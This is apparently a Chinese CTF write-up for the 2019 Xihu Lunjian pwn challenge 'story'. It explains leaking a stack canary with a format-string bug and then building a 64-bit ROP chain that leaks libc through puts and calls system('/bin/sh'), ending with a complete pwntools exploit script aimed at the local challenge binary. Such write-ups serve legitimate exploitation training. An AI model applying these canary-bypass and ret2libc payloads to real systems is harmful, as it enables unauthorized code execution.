pwn-2019西湖论剑之story

0x00:前言

这道题是64位程序,涉及到canary绕过,格式化字符串漏洞,是一道非常好的练习题

0x01:题目思路

首先检查保护,可以看到有堆栈不可执行和canary保护

Thunder_J@Thunder_J-virtual-machine:~/桌面$ checksec story 
[*] '/home/Thunder_J/\xe6\xa1\x8c\xe9\x9d\xa2/story'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

一开始看以为是堆的题目,仔细一看是栈溢出,下面的函数可以看出,read函数存在栈溢出

unsigned __int64 __fastcall sub_400ABE(__int64 a1, unsigned __int64 a2)
{
  char buf; // [rsp+1Fh] [rbp-11h]
  unsigned __int64 i; // [rsp+20h] [rbp-10h]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  for ( i = 0LL; i < a2; ++i )
  {
    buf = 0;
    if ( (signed int)read(0, &buf, 1uLL) < 0 )
    {
      puts("Read error!!\n");
      exit(1);
    }
    *(_BYTE *)(i + a1) = buf;
    if ( buf == 10 )
      break;
  }
  *(_BYTE *)(a1 + i) = 0;
  return __readfsqword(0x28u) ^ v5;
}

运行程序发现有canary保护,canary一般是存在于ret - 8的位置,我们先输入aaaaaaaa并找到输入的位置

gdb-peda$ find "aaaaaaaa"
Searching for 'aaaaaaaa' in: None ranges
Found 3 results, display max 3 items:
 [heap] : 0x603010 ("aaaaaaaa")
[stack] : 0x7fffffffbd80 ("aaaaaaaaell Your ID:")
[stack] : 0x7fffffffe420 ("aaaaaaaa")
gdb-peda$ x/20gx 0x7fffffffe420
0x7fffffffe420:	0x6161616161616161	0x0000000000000000 # esp - 0x10
0x7fffffffe430:	0x0000000000000000	0x00007ffff7a85439
0x7fffffffe440:	0x00007ffff7dd2620	0x00007ffff7a7cdbd
0x7fffffffe450:	0x0000000000000000	0xa9f67089f5d72800 # canary
0x7fffffffe460:	0x00007fffffffe4a0	0x00000000004008c6 # ret address (esp - 0x50)
0x7fffffffe470:	0x00007fffffffe588	0x0000000100000000
0x7fffffffe480:	0x0000000000400b70	0x0000000000400780
0x7fffffffe490:	0x00007fffffffe580	0xa9f67089f5d72800
0x7fffffffe4a0:	0x0000000000400b70	0x00007ffff7a2d830
0x7fffffffe4b0:	0x0000000000000001	0x00007fffffffe588

canary的位置也就是我们输入的位置加上 7 位,我们输入的内容偏移 8 位即是我们的aaaaaaaa,总共加起来也就是 %15$p,通过这一点我们便可以泄露 canary

gdb-peda$ r
Starting program: /home/Thunder_J/桌面/story 
Please Tell Your ID:aaaaaaaa %x %x %x %x %x %x %x %x %x %x
Hello aaaaaaaa ffffbd80 f7dd3780 f7b042c0 f7fdc700 6 f7dd2620 603010 61616161 20782520 78252078
gdb-peda$ r
Starting program: /home/Thunder_J/桌面/story 
Please Tell Your ID:aaaaaaaa %15$p
Hello aaaaaaaa 0xf77b92084307f000 # canary

接下来分三次发送payload,第一次我们通过puts函数打印__libc_start_main的got表内容,来计算libc基地址

payload = 'a'*136 + p64(canary) + 'b'*8 + p64(pop_rdi) + p64(elf.got['__libc_start_main'])+ p64(elf.plt['puts']) + p64(main)

第二次通过/bin/sh;%p来接收字符串/bin/sh的地址

payload2 = "/bin/sh;%p"

第三次就是调用system函数的内容,需要注意的是这是一个64位的程序,调用顺序与32位不同

payload3 = 'a'*136 + p64(canary) + 'q'*8 + p64(pop_rdi) + p64(binsh) + p64(sys_addr) 

总的exp如下

from pwn import *

context.log_level = 'debug'

r = process('./story')
if args.G:
    gdb.attach(r)


elf = ELF('./story')
r.recvuntil(':')

r.sendline('%15$p')
r.recvuntil('Hello ')
canary = int(r.recvuntil('\n'),16)
print "canary is:" + hex(canary)
pop_rdi = 0x0000000000400bd3
main = 0x400876
sleep(0.1)
payload = 'a'*136 + p64(canary) + 'b'*8 + p64(pop_rdi) + p64(elf.got['__libc_start_main'])+ p64(elf.plt['puts']) + p64(main)
r.recvuntil('Tell me the size of your story:\n')
r.sendline('200')
r.recvuntil('You can speak your story:\n')
r.sendline(payload)
libc_start = u64(r.recv(6) + '\x00' + '\x00')
print "Libc_start_main is :" + hex(libc_start)
sys_addr = libc_start + 0x24c50
print "System is:" + hex(sys_addr)
payload2 = "/bin/sh;%p"
r.recvuntil('ID:')
r.sendline(payload2)
r.recvuntil("/bin/sh;")
binsh = int(r.recv()[0:15],16)
print "binsh addr is:" + hex(binsh)
r.sendline('200')
#r.recvuntil('You can speak your story:\n')
payload3 = 'a'*136 + p64(canary) + 'q'*8 + p64(pop_rdi) + p64(binsh) + p64(sys_addr) 
sleep(0.1)
r.sendline(payload3)
r.interactive()

你可能感兴趣的:(题目篇)